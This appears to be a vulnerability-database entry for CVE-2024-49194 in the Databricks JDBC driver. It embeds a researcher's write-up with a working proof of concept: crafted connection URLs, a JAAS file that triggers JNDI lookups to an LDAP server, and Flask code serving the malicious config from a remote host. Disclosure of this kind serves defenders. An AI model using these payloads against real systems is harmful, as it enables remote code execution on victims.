Databricks JDBC 驱动程序 JNDI 注入(CVE-2024-49194)

基本字段

漏洞编号:
SSV-99907
披露/发现时间:
未知
提交时间:
2024-12-20
漏洞等级:
漏洞类别:
代码执行
影响组件:
Spark Databricks
(version < 2.6.40)
漏洞作者:
未知
提交者:
Knownsec
CVE-ID:
CVE-2024-49194
CNNVD-ID:
补充
CNVD-ID:
补充
ZoomEye Dork:
补充

来源

漏洞详情

贡献者 共获得  0KB

Databricks JDBC Attack via JAAS

pyn3rd

2024-12-13 (Updated: 2024-12-16)

Background Story

Yesterday, I received a threat intelligence alert regarding the Databricks JDBC driver. After a quick review, I pinpointed the root cause of the issue.

The vulnerability stems from improper handling of the krbJAASFile parameter. An attacker could potentially exploit this flaw to achieve remote code execution (RCE) within the driver’s context by tricking the victim into using a specially crafted connection URL that includes the krbJAASFile property. It’s important to note that the affected product versions are 2.6.38 and earlier.

Constructing a PoC

Creating a proof of concept (PoC) is crucial for reproducing vulnerabilities effectively. It can often save significant time during the testing process. Having researched JDBC assemblies for several years, I understand how vital it is to develop a clear and reliable PoC.

Here is the vulnerable connection URL:

1

jdbc:databricks://127.0.0.1:443;AuthMech=1;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=/tmp/jaas.conf";

The JAAS configuration file is as follows:


Client {  
com.sun.security.auth.module.JndiLoginModule required  
 user.provider.url="ldap://127.0.0.1:1389/wr4euw"  
 group.provider.url="test"  
 useFirstPass=true  
 serviceName="test"  
 debug=true;  
};

upload successful

Clearly, this is not the desired outcome. Since we cannot compromise a server and modify its configuration or JAAS file, I’ve developed a web server to serve the content of the configuration file—essentially a malicious JNDI remote codebase.

I’ve arranged the web server code using Flask as follows:


from flask import Flask, request  

app = Flask(\_\_name\_\_)  

@app.route('/jaas.conf', methods=\['POST','GET'\])  
def SSOJSON():  
 if request.method == 'GET':  
 # Path to your jaas.conf file  
 jaas\_conf\_path = '/root/ssl/jaas.conf'  
 try:  
 # Read the contents of the jaas.conf file  
 with open(jaas\_conf\_path, 'r') as file:  
 jaas\_content = file.read()  

 return jaas\_content  
 except Exception as e:  
 # Handle exceptions (file not found, etc.)  
 return false;  

if \_\_name\_\_ == '\_\_main\_\_':  
 app.run('0.0.0.0', debug=True, port=443, ssl\_context=('/root/ssl/jdbc.pyn3rd.com.pem', '/root/ssl/jdbc.pyn3rd.com.key'))

My approach is sound: the remote web server receives a request, and the malicious configuration file is loaded seamlessly. The remote code execution is then triggered via JNDI injection.

Here’s the crafted connection URL used to exploit the vulnerability:

upload successful

1

jdbc:databricks://127.0.0.1:443;AuthMech=1;principal=test;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=https://jdbc.pyn3rd.com:443/jaas.conf

If you have any questions, leave a comment below.

共 0  兑换了

PoC

暂无 PoC

参考链接

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

人气 4714
评论前需绑定手机 现在绑定

暂无评论

※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负